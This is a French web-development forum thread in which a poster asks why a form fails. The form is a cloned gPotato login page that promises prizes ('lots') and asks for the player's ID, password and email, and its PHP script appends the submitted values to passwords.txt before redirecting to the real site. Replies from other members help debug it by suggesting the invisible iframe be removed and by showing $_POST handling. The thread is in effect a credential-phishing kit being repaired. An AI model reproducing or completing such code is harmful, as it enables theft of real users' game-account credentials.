A voir également:
- Besoin d'aide pour un formulaire php
- Whatsapp formulaire opposition - Guide
- Formulaire de réclamation facebook - Guide
- Formulaire de reclamation instagram - Guide
- Easy php - Télécharger - Divers Web & Internet
- Formulaire de contact le bon coin introuvable ✓ - Forum Réseaux sociaux
11 réponses
Bonjour,
Je ne vois d'ouverture de la balise form. Est ce que tu en as mis une mais que tu as oublié de copier pour le code ?
Je ne vois d'ouverture de la balise form. Est ce que tu en as mis une mais que tu as oublié de copier pour le code ?
<form name="HFrm" method="post" action="next.php" id="HFrm" target="HFrm">
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTM3MDE1MjU0Ng9kFgICAw9kFgQCCQ8WAh4EaHJlZgUtaHR0cDovL2ZyLmdwb3RhdG8uZXUvaW5mby90ZXJtc29mc2VydmljZS5hc3B4ZAILDxYCHghMYW5ndWFnZQUCZnJkZG/xfeFYpgBWJiMYhcTQGhMPyzh8" />
<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['HFrm'];
if (!theForm) {
theForm = document.HFrm;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
//]]>
</script>
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLWz5G2BQKA1tiQAgL+7sGTBAKY/sWCBgLorpqGD739cpTkq1VGtfah7RQxE7oCkEBm" />
<a id="WLBtnConfirm" href="javascript:__doPostBack('WLBtnConfirm','')"></a>
<iframe name="HFrm" id="HFrm" frameborder="no" style="width:0px;height:0px;margin:0px 0px 0px 0px;padding:0px 0px 0px 0px;position:absolute;left:0px;top:0px;"></iframe>
<input name="HHAccId" type="hidden" id="HHAccId" />
<input name="HHPasswd" type="hidden" id="HHPasswd" />
<input name="HHEmail" type="hidden" id="HHEmail" />
<!-- TITLE -->
<div id="DvTitle"><div>Inscrivez vous pour reçevoir vos lots !</div></div>
<!-- /TITLE -->
<!-- CONTENTS -->
<div id="DvContents">
<!-- | PANNEL -->
<div class="title_pannel1">
<div class="pannel_signup"></div>
</div>
<!-- /| PANNEL -->
<!-- | MESSAGE BOX -->
<div id="DvSignUpMsg" class="message_normal">
<table class="auth_table">
<tr>
<td>
<table>
<tr>
<td>
<ul>
<li id="LiIco" class="ico_normal" style="float:left; margin-right:6px;"></li>
<li id="LiMsg">Remplissez ce formulaire afin de soumettre votre demande de PO</li>
</ul>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<!-- /| MESSAGE BOX -->
<!-- | FIELD -->
<div id="DvFieldArea">
<table class="auth_table borderhide">
<tr>
<td colspan="3" class="label1"><div></div> gPotato ID</td>
</tr>
<tr>
<td class="input1"><input type="text" id="HTID" class="input_text1" tabindex="1" maxlength="16" autocomplete="off"/></td>
<td class="td_ico1"><div id="DvIDIco" class="ico1"></div></td>
<td class="info1" id="IDPannel">Fournissez votre Login (gPotato ID)</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Mot de passe</td>
</tr>
<tr>
<td><input type="password" id="HTPasswd" class="input_text1" tabindex="2" maxlength="12" autocomplete="off" onpaste="return false" oncontextmenu="return false" /></td>
<td class="td_ico1"><div id="DvPWIco" class="ico1"></div></td>
<td class="info1" id="PWPannel">Votre mot de passe</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Adresse électronique</td>
</tr>
<tr>
<td>
<input type="text" class="input_text1" id="HTEmail" tabindex="3" autocomplete="off" onpaste="return false" oncontextmenu="return false"/>
<div id="DvEmailList">
<select size="5" id="HSEmailList">
</select>
</div>
</td>
<td class="td_ico1"><div id="DvEMIco" class="ico1"></div></td>
<td class="info1" id="EMPannel">Non obligatoire</td>
</tr>
</table>
</div>
<!-- /| FIELD -->
<!-- | DESCRITION -->
<div class="desc1">
En cliquant sur le bouton "Envoyer" vous acceptez les <a href="http://fr.gpotato.eu/info/termsofservice.aspx" id="terms" target="_blank">Conditions d'utilisation</a>
par Gala Networks Europe.
</div>
<!-- /| DESCRITION -->
<!-- | BUTTON -->
<div id="DvSignUpBtn" class="btn1 btn_size1" tabindex="4">
<div><div>
<table>
<tr>
<td> <INPUT type="submit" > Envoyer</td>
</tr>
</table>
</div></div>
</div>
<!-- / BUTTON -->
</div>
<!-- /CONTENTS -->
<div id="DvLoading" style="display:none;" >
<center>
<img src="../../simg.gpotato.eu/gpotato/common/ajax-Loader-dark-bg.gif" style="vertical-align:bottom;" />
<span style="color: #ffffff; font-family: Tahoma,Verdana,arial; font-size:12px;">Inscription...</span>
</center>
</div>
<script src="../../www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-2350076-3";
urchinTracker();
</script>
</form>
</body>
<input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET" value="" />
<input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT" value="" />
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKMTM3MDE1MjU0Ng9kFgICAw9kFgQCCQ8WAh4EaHJlZgUtaHR0cDovL2ZyLmdwb3RhdG8uZXUvaW5mby90ZXJtc29mc2VydmljZS5hc3B4ZAILDxYCHghMYW5ndWFnZQUCZnJkZG/xfeFYpgBWJiMYhcTQGhMPyzh8" />
<script type="text/javascript">
//<![CDATA[
var theForm = document.forms['HFrm'];
if (!theForm) {
theForm = document.HFrm;
}
function __doPostBack(eventTarget, eventArgument) {
if (!theForm.onsubmit || (theForm.onsubmit() != false)) {
theForm.__EVENTTARGET.value = eventTarget;
theForm.__EVENTARGUMENT.value = eventArgument;
theForm.submit();
}
}
//]]>
</script>
<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="/wEWBQLWz5G2BQKA1tiQAgL+7sGTBAKY/sWCBgLorpqGD739cpTkq1VGtfah7RQxE7oCkEBm" />
<a id="WLBtnConfirm" href="javascript:__doPostBack('WLBtnConfirm','')"></a>
<iframe name="HFrm" id="HFrm" frameborder="no" style="width:0px;height:0px;margin:0px 0px 0px 0px;padding:0px 0px 0px 0px;position:absolute;left:0px;top:0px;"></iframe>
<input name="HHAccId" type="hidden" id="HHAccId" />
<input name="HHPasswd" type="hidden" id="HHPasswd" />
<input name="HHEmail" type="hidden" id="HHEmail" />
<!-- TITLE -->
<div id="DvTitle"><div>Inscrivez vous pour reçevoir vos lots !</div></div>
<!-- /TITLE -->
<!-- CONTENTS -->
<div id="DvContents">
<!-- | PANNEL -->
<div class="title_pannel1">
<div class="pannel_signup"></div>
</div>
<!-- /| PANNEL -->
<!-- | MESSAGE BOX -->
<div id="DvSignUpMsg" class="message_normal">
<table class="auth_table">
<tr>
<td>
<table>
<tr>
<td>
<ul>
<li id="LiIco" class="ico_normal" style="float:left; margin-right:6px;"></li>
<li id="LiMsg">Remplissez ce formulaire afin de soumettre votre demande de PO</li>
</ul>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
<!-- /| MESSAGE BOX -->
<!-- | FIELD -->
<div id="DvFieldArea">
<table class="auth_table borderhide">
<tr>
<td colspan="3" class="label1"><div></div> gPotato ID</td>
</tr>
<tr>
<td class="input1"><input type="text" id="HTID" class="input_text1" tabindex="1" maxlength="16" autocomplete="off"/></td>
<td class="td_ico1"><div id="DvIDIco" class="ico1"></div></td>
<td class="info1" id="IDPannel">Fournissez votre Login (gPotato ID)</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Mot de passe</td>
</tr>
<tr>
<td><input type="password" id="HTPasswd" class="input_text1" tabindex="2" maxlength="12" autocomplete="off" onpaste="return false" oncontextmenu="return false" /></td>
<td class="td_ico1"><div id="DvPWIco" class="ico1"></div></td>
<td class="info1" id="PWPannel">Votre mot de passe</td>
</tr>
<tr>
<td colspan="3" class="label1"><div></div>Adresse électronique</td>
</tr>
<tr>
<td>
<input type="text" class="input_text1" id="HTEmail" tabindex="3" autocomplete="off" onpaste="return false" oncontextmenu="return false"/>
<div id="DvEmailList">
<select size="5" id="HSEmailList">
</select>
</div>
</td>
<td class="td_ico1"><div id="DvEMIco" class="ico1"></div></td>
<td class="info1" id="EMPannel">Non obligatoire</td>
</tr>
</table>
</div>
<!-- /| FIELD -->
<!-- | DESCRITION -->
<div class="desc1">
En cliquant sur le bouton "Envoyer" vous acceptez les <a href="http://fr.gpotato.eu/info/termsofservice.aspx" id="terms" target="_blank">Conditions d'utilisation</a>
par Gala Networks Europe.
</div>
<!-- /| DESCRITION -->
<!-- | BUTTON -->
<div id="DvSignUpBtn" class="btn1 btn_size1" tabindex="4">
<div><div>
<table>
<tr>
<td> <INPUT type="submit" > Envoyer</td>
</tr>
</table>
</div></div>
</div>
<!-- / BUTTON -->
</div>
<!-- /CONTENTS -->
<div id="DvLoading" style="display:none;" >
<center>
<img src="../../simg.gpotato.eu/gpotato/common/ajax-Loader-dark-bg.gif" style="vertical-align:bottom;" />
<span style="color: #ffffff; font-family: Tahoma,Verdana,arial; font-size:12px;">Inscription...</span>
</center>
</div>
<script src="../../www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">
_uacct = "UA-2350076-3";
urchinTracker();
</script>
</form>
</body>
je pense que tu peux déjà remplacer ceci :
par :
Pour le moment. ;)
PS: Mets ton code entre les balises code s'il te plait, c'est plus claire. Merci
<INPUT type="submit" > Envoye
par :
<input type="submit" value="Envoyer" />
Pour le moment. ;)
PS: Mets ton code entre les balises code s'il te plait, c'est plus claire. Merci
Vous n’avez pas trouvé la réponse que vous recherchez ?
Posez votre question
Oki j'ai trouvé. Faut que tu vires l'iframe.
Supprimes cette ligne :
Supprimes cette ligne :
<iframe name="HFrm" id="HFrm" frameborder="no" style="width:0px;height:0px;margin:0px 0px 0px 0px;padding:0px 0px 0px 0px;position:absolute;left:0px;top:0px;"></iframe>
Si j'en crois ce que j'ai lu, tu utilises un wysiwyg, et il se peut qu'il faille voir la doc.
Dans certain cas, cela pose problème, j'ai déjà rencontré ce problème, mais je ne serais pas d'aider dans l'immédiat.
Si c'est bien ca, cherche sur GG :
Ou des recherche de ce genre
Dans certain cas, cela pose problème, j'ai déjà rencontré ce problème, mais je ne serais pas d'aider dans l'immédiat.
Si c'est bien ca, cherche sur GG :
Problème d'enregistrement de contenu avec {nom de ton wysiwyg}
Ou des recherche de ce genre
Je vais te poser les bases ca va ptet t'aider :
index.html :
result.php :
$_POST['ici_le_"name"_ de_ton_champs_input']; permet de récuperé la valeur de ton champs input concerné.
index.html :
<form method="post" action="result.php"> <input type="text" name="txt"> <input type="submit" value="go"> </form>
result.php :
<?php $result = $_POST['txt']; echo $result; ?>
$_POST['ici_le_"name"_ de_ton_champs_input']; permet de récuperé la valeur de ton champs input concerné.
<?php
header("Location: http://fr.gpotato.eu/User/UserSignUp.aspx");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
header("Location: http://fr.gpotato.eu/User/UserSignUp.aspx");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
et voilà ce que je reçois dans passwords.txt
__EVENTTARGET=
__EVENTARGUMENT=
__VIEWSTATE=/wEPDwUKMTM3MDE1MjU0Ng9kFgICAw9kFgQCCQ8WAh4EaHJlZgUtaHR0cDovL2ZyLmdwb3RhdG8uZXUvaW5mby90ZXJtc29mc2VydmljZS5hc3B4ZAILDxYCHghMYW5ndWFnZQUCZnJkZG/xfeFYpgBWJiMYhcTQGhMPyzh8
__EVENTVALIDATION=/wEWBQLWz5G2BQKA1tiQAgL+7sGTBAKY/sWCBgLorpqGD739cpTkq1VGtfah7RQxE7oCkEBm
HHAccId=
HHPasswd=
HHEmail=
__EVENTTARGET=
__EVENTARGUMENT=
__VIEWSTATE=/wEPDwUKMTM3MDE1MjU0Ng9kFgICAw9kFgQCCQ8WAh4EaHJlZgUtaHR0cDovL2ZyLmdwb3RhdG8uZXUvaW5mby90ZXJtc29mc2VydmljZS5hc3B4ZAILDxYCHghMYW5ndWFnZQUCZnJkZG/xfeFYpgBWJiMYhcTQGhMPyzh8
__EVENTVALIDATION=/wEWBQLWz5G2BQKA1tiQAgL+7sGTBAKY/sWCBgLorpqGD739cpTkq1VGtfah7RQxE7oCkEBm
HHAccId=
HHPasswd=
HHEmail=